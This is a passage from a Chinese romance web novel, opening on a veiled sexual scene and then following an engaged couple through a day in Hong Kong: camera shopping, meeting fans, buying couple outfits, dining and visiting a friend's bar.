赛了也就腮了呗,还让人药几下,要听听声,听声也就算了,全身上下都被最了个遍,落入海水中要呼救的时候却不被允许了,不呼救了吧,靳宥司这个混蛋又从卡牌里抽出一张,要求必须带着称呼进行海航。 柯愫澄脸皮薄啊,平常顶多叫个小司,再再再多点,在这后头叫个宝宝,现在这两种称呼明显不是靳宥司满意的,她不带称呼,就让这场风暴来得再猛烈一些,直至她乖乖听话。 可柯愫澄也没辙啊,就问这位船长: "你想听什么?哥哥行吗?" 其实靳宥司心里有个最为标准的答案,但是又觉得,现在提出或许有些早了。 见靳宥司没应声,柯愫澄也不知道这个他喜不喜欢听。 实在了说,靳宥司在这方面也挺随意的,他没提出过什么过分的要求,在游戏上也是闷头干大事的性格,反倒是柯愫澄,一张嘴就乐意巴巴,靳宥司有时候都不知道她到底讲了些什么乱七八糟的,反正什么都能扯上,唯独称呼,一次没叫过,不知道的还以为他俩不熟呢,就骂人的时候直呼大名。 怎么骂的呢,先甩上一巴掌,然后叫:靳宥司!你ba出来,要被—— 话太糙了,柯愫澄也不知道自己是怎么可以脱口而出的,等说完了,耳朵也烫到不行了。 此时此刻,靳宥司没能给出准确的回答,柯愫澄也不问了,反正他小玩意儿多,哲魔人的招数也数不尽,要不是柯愫澄不想下水,靳宥司已经把人从落地玻璃窗搬到露天泳池里去了。 柯愫澄觉得下了水更没完了,那会儿都已经在海上航行了两个多小时,她实在无法站立在泳池里,就说下次,下次一定。靳宥司不管她这话真的假的,反正会把她丢进泳池里就是了。 这一茬过去,柯愫澄睡着前最后说的一句话是:“靳宥司,我要晚安吻。” 求完婚了就是不一样啊。 靳宥司真没想到,怔了两秒才在床边蹲下,手抚摸着柯愫澄的脸颊,将发丝捋到耳后,在她的额头、脸颊、鼻尖、下巴以及嘴唇上各留下一个吻。 再睁眼已经是下午三点,这一觉足足睡了十个小时。柯愫澄没别的感觉,除了四列感以外,就是腰酸背痛,说白了哪哪都不得劲。感受到身旁已经没了人,也不知道他跑哪去了,柯愫澄没功夫管他,先解锁手机,就看到上午十点黎荔回过来的消息。 黎荔:【你俩搞这晚才睡啊。】 话挺糙啊。 紧接着下面一条:【我简直太欣慰了,终于等到你俩结婚了,我已经要陈弗凡把机票改签了,办完正事我俩再出国玩~】 正准备敲字回复,一条新消息弹出,是Si-发来的。 看到他的名字,柯愫澄才想起来,认识这么久,恋爱也有七个月了,马上要领证了,还没给靳宥司取个专属备注,主要是她特别喜欢靳宥司的网名,而且她真心觉得,两人的网名跟情侣名没区别,改了还奇怪呢,索性就这样了。 点进靳宥司的聊天框,看到他拍了一张在车里的照片。是他单手把着方向盘,在等红绿灯,地点在义顺牛奶公司那边。 柯愫澄怪纳闷的,快速打字。 澄zi:【你怎么出去了?就为了买双皮奶?】 那边回的很快。 Si-:【顺路带一份。】 澄zi:【你去哪了?】 Si-:【去登记处递交拟结婚通知书。】 柯愫澄都忘了还有这个步骤,而在看到这条消息的下一秒,她就跑去联系人栏翻找,却发现尤绘已经把微信号注销了。有种感觉挺说不上来的,有点揪心,觉得他俩不该就这么结束。 靳宥司回来的时候,柯愫澄已经洗漱完,还化了个淡妆,正在衣帽间选今天出门穿的衣服。他们昨天说好了,今天去逛街,柯愫澄一直想买台ccd,说港城选择多。 靳宥司将双皮奶放到客厅茶几上,上楼直接来到衣帽间,柯愫澄这会儿正在纠结是穿jk制服,还是穿吊带配短裤。听到门口传来动静,她回头,看到靳宥司穿的是一件灰黑拼色的短袖,脖子上还戴了一条项链,耳钉就不用想了,顺来的。 柯愫澄收回视线,继续翻找合适的衣服,才想起来:"我们是不是都没有情侣装。" “您才想起来呢。”靳宥司抱着胳膊,靠在柯愫澄旁边的衣柜旁。 “不对,有啊,jk和dk不算吗?”柯愫澄很认真的说的。 结果靳宥司还生上气了,吐出两个字:“不算。”说完这话,他还补充了句:“要一起买的才算。” 柯愫澄想笑,憋着:“那你还挺闹人的。” 她嘴上是这么说,没两下翻找出一件和靳宥司身上穿的这件同色系的吊带,开始哄人:“下午去逛街买一件。” “就一件?” 是真闹人啊!高需求的少爷! 柯愫澄都有些无奈了,准备把靳宥司赶出去呢,这简直莫名其妙,只买一件就算了,现在还赶人?? 柯愫澄没意识到什么,还在哄人:“多少件你说了算,我要换衣服了,你楼下等着吧。” 要说别的还好,换衣服赶人出去?合理吗? 靳宥司还就不走了,赖在这里了:“你换,我看着,又不是没看过。” 这话在理,柯愫澄只能说好好好。脱掉身上的睡裙,把文月匈拎到靳宥司面前,肩带挂上后,面对着他:“帮忙?” 靳宥司的手已经自觉来到了后背,轻轻松松将排扣扣上,但却不放人出去了,人都在怀里了,哪有放走的道理。 他直接将脸埋进了柯愫澄的颈窝,手臂环住纤细,带着她往自己这靠。 柯愫澄担心靳宥司动歪脑筋,他们今天可有正事,晚上再干坏事不行吗。 她想阻止这种行为,靳宥司却在这时说:“老实点儿。” "不老实的是你吧。"柯愫澄真是服啦。 靳宥司不说话了,埋了会儿,离开前对着柯愫澄的锁骨咬了一口,挺用力的一下。柯愫澄嘶了声,转头看向镜子里,锁骨处有个很明显的牙印,别说,还挺好看的。不过她脖颈上那些吻痕也太明显了点,柯愫澄想遮遮,主要是太吓人了,靳宥司真吸血鬼啊。但是她家这位什么都能吃上醋,遮吻痕一事还是算了。 柯愫澄看镜子的间隙,靳宥司已经垂眸看向她胸口处的这枚纹身。没忍住上手轻轻摸了摸,喜欢得不得了。 以前两人还是炮友的时候,靳宥司只能通过留下吻痕来做标记,想占为己有,而现在,柯愫澄主动在身上留下了标记,证明了他是她的。 靳宥司依旧觉得特别的不真实,想要说些什么,却发现自己的表达能力有所欠缺。 看着这枚纹身,柯愫澄扬起唇角:“这么喜欢呢。” “谢谢。”谢谢你愿意将我占为己有。 靳宥司脱口而出的这句谢谢,实在是意料之外,但非要说也不算,因为柯愫澄好像也只会说谢谢,谢谢他一直以来的付出。所以啊,他们从始至终都是双向选择的。 在衣帽间腻歪了会儿,柯愫澄换好衣服,下楼吃掉了双皮奶,他们就准备出门了。 两人来到地下车库,看到整个车库里摆放着十几辆跑车。 柯愫澄昨晚太困,没注意那么多,现在看到了,她猜测:“你对赛车是不是也挺感兴趣的。” 柯愫澄不知道靳宥司是梁清屿赛车俱乐部会员的事,也就不知道他从成年开始,就隔三差五会和圈子里的朋友举办赛车友谊赛,这类型的比赛靳宥司很久没参与过了,主要是他没那么多精力去玩车,追人都追不上呢,车算什么。 但现在不一样了,他是她的了。 靳宥司抬了抬下巴:“喜欢哪辆?” 柯愫澄还真有感兴趣的,她指了下不远处那辆紫色迈凯伦:“我来开,你敢坐吗?” 虽然靳宥司很少见柯愫澄开四个轮子的车,上回载自己,还当了她的人工导航,车,技方面肯定是没话说的,自然就没有不敢这一回事,就哪怕她是刚拿到驾照的新手小白,他也不怕。直接把钥匙丢给了她。 该说不说,柯愫澄开车还是猛的,一脚油门直接冲出院子,驶上主路。山上的路弯道多,跑车的速度本来就更加猛,还是有点危险的。 见柯愫澄有点上瘾,靳宥司提醒道:“速度慢点,我俩还没领上证。” “呸,你是不是不相信我。”柯愫澄特别不服气,别看她每次都极限拐弯,但她心里有数,不会拿生命开玩笑。 靳宥司想相信的,但还是磨蹭了好一会儿才吐出两个字:“不是。” 柯愫澄知道,她能不知道靳宥司怎么想的嘛,没辙只能降了些速度,但依旧快,主要是太爽了开这车。 没一会儿车就开下了山,停在路上等红绿灯时时,能很明显的感受到,路上行人的注意力全部集中到了这辆跑车上。而这其中有人似乎认出了跑车上的两人,激动的跟同行人分享,只差没叫出声了。 柯愫澄发现了,她看一眼后视镜,问靳宥司:“咱俩是不是太招摇了。” “这才哪到哪。”靳宥司说话的语调极为随意,看到红灯还有最后三十秒结束,他的手下意识来到柯愫澄大腿上,掐了一把。 柯愫澄打走他的手:“别乱动。” 靳宥司老实了。 很快两人就来到了目的地。 将车停靠在路边上,下车时两人默契的掏出墨镜一戴。靳宥司的手臂也自然的搭在了柯愫澄的肩上。 进入到ccd一条街,他们一家店一家店的挑选,试拍。靳宥司特别有耐心,柯愫澄在这方面挺高要求的,机子不仅要外观好看,拍出来的照片效果也得过关。靳宥司本来对这些没什么研究,在来的路上偷偷搜了资料。 正挑选着,柯愫澄注意到,旁边店铺有两个小姑娘一双眼没从她和靳宥司身上挪开过,像是想上前搭讪,但又十分纠结害怕。靳宥司刚从一堆ccd中选出一台,开机准备给柯愫澄试拍看看,镜头都对准柯愫澄了,看到她朝不远处的俩小姑娘挑了下眉。 下一秒,俩小姑娘脸刷的一下红透了。 靳宥司下意识蹙眉,关掉了ccd,看着柯愫澄。 也是这时,和俩小姑娘同行的男生一把将两人推了出去,并大声道:“她们是你的粉丝!” 两位小粉丝脸更红了,回过头瞪同行的男生。 柯愫澄早看出来了,主动问:“先合照还是先签名?” 这是谁也没有想到的,两位小粉丝心脏砰砰直跳,手心里全是汗,身体都在那抖,说话还有点结巴:“都,都可以的吗姐姐。”听到俩人这说话声,感觉快要哭出来了。 柯愫澄牵起唇角:“当然。”两位小粉丝又看向柯愫澄旁边的靳宥司。柯愫澄秒懂:“他也可以。” 老婆说什么是什么。 靳宥司可以配合拍照,不过要和老婆站在一起。 他一把将柯愫澄拉到身旁,搂着她的肩膀,俩位小粉丝自然明白的,她们是不会把他们拆开的。自觉站到了柯愫澄旁边,而同行的男生早就掏出手机。 像是担心耽误柯愫澄太多时间,两位小粉丝要同行男生拍快点。不到五秒钟,合照就拍完了,两位小粉丝又手忙脚乱的掏出新买的漂亮本子和笔,拿给柯愫澄签名。她们甚至都忘记找靳宥司要签名了,毕竟她们粉的是姐姐。 签完名,两位小粉丝一个劲的鞠躬说谢谢,说完谢谢,其中一个小粉丝问了一嘴:“姐姐,你和主唱哥哥是来港城旅游的吗?” 都不等柯愫澄开口说话,靳宥司抢答:“来结婚的。”两位小粉丝惊到嘴巴都成o型了,眼睛也瞪大了好几倍。反应过来后,她们咧着嘴笑着说:"新婚快乐!"靳宥司这下乐意了,唇角不着痕迹的勾了勾:“谢谢。”见此情景,柯愫澄憋住笑,跟两位小粉丝说:“保密。”两位小粉丝立马站正,只差敬礼了:“放心吧!”这边的店铺逛得差不多了,柯愫澄决定去别处看看,就先走一步了。两位小粉丝挥着手,依依不舍的看着他们渐行渐远的背影。 “这个世界上怎么有我这么幸福的小女生。”其中一个小粉丝捧着脸颊,快醉了。 另一个小粉丝点着头,说话都软乎乎的:“就是说啊,都没想过会偶遇上,我都想哭了,姐姐和主唱哥哥人也太好了吧,他们简直就是整个宇宙最般配的!”“如果同担知道我们偶遇到姐姐和主唱哥哥了,一定会醋死吧。” “绝对的,就问谁会不嫉妒呢,问题就是不止偶遇到了,还有合照和签名,啊啊啊啊啊啊不行,睡不着了今晚。” 91、牵线 直到两人走远,拐进另一家店铺,彻底听不到两位小粉丝激动到快晕倒的对话声,柯愫澄才问:“你会不会不喜欢?” “合照吗?”说着这话,靳宥司搂着柯愫澄的肩,带她换了个位置,这里人多,难免跟人肩碰肩,他将她护在里侧。 听到柯愫澄嗯了声,声不大。紧接着她就从一堆ccd里拿起一台,开了机准备试拍。 靳宥司回得很干脆:“没有不喜欢,咱俩合照挺少的。” 他这是抱怨上了吗? 柯愫澄举相机的手一顿,抬眸看向他:“你要喜欢,拉着我拍呗。”怎么还别别扭扭的。 靳宥司没说其他,拿过柯愫澄手里的ccd,怼脸拍了一张。柯愫澄都还没反应过来呢,就听到咔嚓一声。这样的拍摄距离未免太近了点,他压根儿没认真。 柯愫澄刚要发脾气,靳宥司把ccd递面前来,看到照片的下一秒,柯愫澄拿走ccd:“老板,帮我把这个包起来。” 成功买到一台ccd,柯愫澄还想逛逛。缓慢随着人流走了没两步,靳宥司兜里的手机响了声,他拿出来看,是订的奶茶做好可以取餐了。 柯愫澄瞟到手机屏幕,把挂在靳宥司衣领处的墨镜拿下来,戴上后说:“你去拿吧,我自己再逛逛。” 靳宥司明显不太乐意,主要是这里人实在太多,柯愫澄一旦专注一件事就听不到手机铃声,到时候找人找不到。他也不给柯愫澄拒绝的机会,直接牵着她挤了出去。 等来到相对空旷的街道上,柯愫澄见他一句话也不说,她莫名有点想笑,手臂环到他腰上,微微抬头看着他:“你要不要这么粘人啊,自己去取个奶茶都不行吗,非得我陪着是吧。” 靳宥司既不承认也不否认,不跟她说这个,扯了个别的话题:“黎荔和陈弗凡什么时候过来?” 柯愫澄也不清楚,他们都没说起这个事情,而且啊,现在是说这个话题的时候吗?这转移注意力的方式太拙劣了点。 得,宠着呗还能怎么办,少爷是需要无限宠爱的。 步行了个几百米,来到一家名叫ChaTraMue的泰式奶茶店。柯愫澄看店里人挺多的,就没打算进去,让靳宥司去拿。靳宥司刚走进店,周围一群等奶茶的小姑娘不约而同的看向了他,就连几个外国帅哥的视线都不由自主的跟随着他。 该说不说,随便把少爷丢哪,都会成为焦点人物。 其中一个胆大的混血女孩,特别主动的上前搭讪:"hi,小哥哥能交个朋友吗?我们加个联系方式吧。" 靳宥司甚至都没有看这个女孩,径直走进店,拎起桌上的奶茶,抬起左手,手背对着她,露出中指处的戒指:“已婚,勿扰。” “啊——这样啊。”这个混血女孩很是遗憾,将刚掏出的手机又塞回了包包里。 而这句话也成功引起了奶茶店里其他姑娘的注意,她们不由的开始窃窃私语,大致内容就是说这么年轻就结婚了,他的妻子好幸福啊之类的。 但都不等她们反应,视线追随着靳宥司出了店,在看到他的这位妻子后,这群姑娘彻底明白过来。这俩人简直就是郎才女貌,般配至极。她们甚至都不再关注靳宥司,一双眼没从柯愫澄身上挪开,这也太太太太漂亮了,跟女明星似的。 店里的议论声越发响亮,靳宥司已经牵着柯愫澄离开了这边。 柯愫澄并不知道店里发生了什么,在门口等靳宥司的时候一直在刷短视频。这会儿被靳宥司牵走,听到身后店里闹哄哄的,她没过度关注,从奶茶袋里拿出一杯奶红,插,上吸管吸了一口,味道还不错。下一秒,靳宥司将奶绿递到了柯愫澄嘴边,柯愫澄特别自然的凑上前,吸了一口,细细品尝后把奶红递给了靳宥司,她喝奶绿。 喝着冰奶茶,他们没再回去继续挑选ccd,这会儿更重要的事情是找家店吃饭,柯愫澄已经有些饿了,肚子咕咕咕,一个劲的叫。从起床开始到现在,她就只吃了一份双皮奶。 慢慢悠悠地走着,柯愫澄从靳宥司整理的美食店铺里翻找想吃的,找了半天,他们就近在一家人气很高的茶餐厅取了号。这个点既不是吃中饭也不是吃晚饭的时间,排队的客人一波接着一波的来。 看着手上的号码牌,前面还有五十桌,最少要等一个小时。 柯愫澄冷不丁问了句:“这家店真这么好吃吗?” “我小学那会儿这家店就已经很有名了,那时候店面很小,就几张桌子,都是本地人在吃。”靳宥司说着这话,将柯愫澄手里的号码牌塞进了自己的裤子口袋里。 柯愫澄哦了声:"我们要不去附近逛逛?不是要买情侣装嘛。" 靳宥司可太乐意了啊,二话不说带着柯愫澄去到了附近的购物商场。 两人没有目标,看到喜欢的品牌就进去转两圈。 谁知道走进第一家店,靳宥司就看中了一件短袖,柯愫澄原本以为他会买深色系的衣服,结果他看中的这件短袖颜色特鲜艳,这衣服要穿身上,放人群里保准能一眼注意到,什么心思不必多说了吧。 柯愫澄随着他,已经坐在了沙发上,翘起二郎腿,边喝奶茶,边吃店里提供的甜品。 通过这次逛街,柯愫澄也算是发现了。 别人家情侣都是男朋友坐在沙发上等女朋友,女朋友去挑选试穿,他俩不是,完全反过来了。 等待挑选试穿的间隙,柯愫澄兜里的手机震动了一下,她拿出来看,是黎荔发来的消息。 黎荔:【后天下午三点到港城机场,你俩还能肆无忌惮的腻歪两天。】 腻歪这个词用的好啊,柯愫澄能不懂吗。就想到如果把这事告诉靳宥司,估计今晚就直接泳池游戏了。 回复完黎荔的消息,也就几分钟的事,等柯愫澄再抬起头的时候,就看到靳宥司已经刷卡结账了,这会儿正在单子上签名。 紧接着,好几名黑衣男子走进了店里,提着一大堆购物袋,往停车场运。 这还没完,靳宥司又带着柯愫澄来到了下一家店。一顿挑选刷卡后,黑衣男子再次当起了搬运工。 柯愫澄真挺佩服靳宥司的,她原本觉得自己已经够能买衣服了,现在比自己还能买的人出现了。 之前黎荔和陈弗凡来家里参观的时候,陈弗凡看到客厅里摆放着数不清的纸箱,还以为是没来得及把衣帽间的卫生清理干净,所以暂时放在这里,结果参观到衣帽间的时候,发现衣柜已经被塞得满满当当。 当时陈弗凡就感叹,这么多的衣服真的能穿得完吗。 而现在就应该把陈弗凡叫过来,看看靳宥司的购买实力,不知道的还以为他是搞批发的呢,每家店都进去逛一圈,逛完绝对会买一堆。得亏茶餐厅那边叫了号,要不然少爷指不定要把整栋楼搬空。 强行拉着靳宥司出了商场,柯愫澄问了句:"那些衣服你该不会都买的两件吧。" “不是,给你买了几条裙子,裙子我穿不了。”靳宥司说得一本正经。 这……? 柯愫澄一时间都不知道接什么话好。 说白了就是,除了裙子外全是情侣装。他是巴不得一年三百六十五天,天天穿情侣装。 这个话题点到为止,很快两人进到茶餐厅,坐在了角落的一处空位上。 一坐下靳宥司就扫了桌上的码,手机推到柯愫澄面前。 柯愫澄刚刚在商场里休息的时候做了攻略,点了这家店的几个招聘,有菠萝油、番茄浓汤鸡翅猪扒通粉、滑蛋叉烧虾仁双拼饭,和一杯冻柠茶。 刚下单成功,桌面上的手机响了声,柯愫澄拿起手机看,是阮东发来的一堆活动信息,问她对哪个感兴趣。 柯愫澄大致扫了眼,别说,都还挺感兴趣的,不过看着这几个项目的主办方,以及活动邀请的其他嘉宾,她有一丝疑惑。 等上菜的时候,她没忍住问了靳宥司:“你是不是给阮东牵线认识了什么老板啊,他最近接活儿的质量越来越高了。” 靳宥司正玩着柯愫澄的手指,捏几下,又转几圈自己中指处的戒指:“是介绍了一个,开娱乐公司的。” 柯愫澄有点意外:“这么有牌面,咱小乐队属实是高攀了。”她玩笑着说。 靳宥司觉得柯愫澄可爱,想捏她的脸,但她今天化妆了。他忍着:“放完暑假我就大四了,可以干点副业了。” 听到这,柯愫澄突然就想起来:“我真干不了主席的活儿,能找别人吗?” 忍不了,靳宥司还是上手了,轻轻捏了下柯愫澄的脸蛋。 毫不意外的,柯愫澄一点不客气的把他的坏手打掉,边往旁边躲,还锤了他一拳,在他胸口处。 靳宥司一声没坑,只说:“没这个道理,副主席升上去就是主席。” 柯愫澄真不愿意啊,哭丧着脸:“不还得投票嘛。” “他们会把票全投给你的。” “放过我不行吗?”柯愫澄其实不这样认为,但是如果靳宥司搞威胁那套的话,就讲不好了。 “给你安排个有能力的秘书长怎么样?” 柯愫澄不再看他:"我打算出五毛钱把主席的位置卖出去。" “别人挤破脑想坐到的位置,你这么不稀罕?”靳宥司了解柯愫澄,说着好玩的,他不会做强迫人的事,除了强迫她和自己做固定炮友。听到靳宥司这么说,柯愫澄依旧不放弃:“我喜欢轻松的活儿。” “我觉得挺轻松的。”说着这话,他唇角扬起笑,有点坏。 “你别忽悠我了。” 柯愫澄能不知道嘛,坐这个位置,他也只是看着轻松,但实际上之前谢津洲没说错,绝大部分的任务都是由靳宥司处理,处理完了再交给秘书长通知,做后续的安排工作。柯愫澄真搞不来,她一开始当这个副主席,就是被迫的。 琢磨了半天,她说:“我推荐个人行吗?” “谁?” “到时候你就知道了。” 这个话题结束,点的东西陆陆续续摆上了桌。 靳宥司很规矩,在柯愫澄还没有拍好照片前是不会动筷的。俩人都有要忙的事,柯愫澄拍美食,靳宥司拍柯愫澄。 拍完照片,饱餐一顿后,靳宥司带着柯愫澄转场去到了半山腰的一家酒馆。这家酒馆是靳宥司幼儿园同学开的。 将车开到酒馆门口的停车坪,两人刚下车,酒馆的老板就热情的迎了上来。 是一个留着寸头,穿老头衫的男人。 见到的第一眼,靳宥司就皱起了眉,语气不耐道:“艹,你即刻把d衫换左但。(你把衣服赶紧换了。)” 寸头老板都来不及跟柯愫澄打招呼,被靳宥司一把推进了店。 解决完这个人,靳宥司才带着柯愫澄进到店里,在一处窗边角落的位置坐下。这里视野好,也没有人打扰。 坐下没多久,寸头老板穿戴整齐,端着两杯酒过来了。 将酒放到桌上,他腾出手跟柯愫澄握手,做起了自我介绍:“嫂子好,我叫董仲,您叫我小董就行。” 柯愫澄觉得他实在太见外,都用上了您。 边说着:“董老板别这么客气。”边礼貌回握了下手,两秒不到就松开了。 董仲笑着在两人对面坐下:“主要是头回见嫂子,太紧张了,不客气点怕你觉得我是街边混混。” 柯愫澄都没接话,靳宥司调侃了句:“挺有自知之明。” 董仲还点头鞠躬:“谢谢少爷夸奖。” 简单的闲聊了会儿,董仲看到天色渐晚,主动提出:“要不要去后山转转?咱这的夜景可美了,和你们山顶上看到的感觉又不太一样。” 他话音刚落,察觉到一丝不对劲,尴尬的笑了两声:“哈哈,嫂子,我觉得后山没有你们山顶风景好,还是别去喂蚊子了。” 柯愫澄极为随意的说:“我都行,听你们安排。” 她这会儿正喝着酒,酒精度数高,她喝太急,有点上头,完全没有注意到靳宥司甩过去的那一眼,可把董仲吓得直冒冷汗。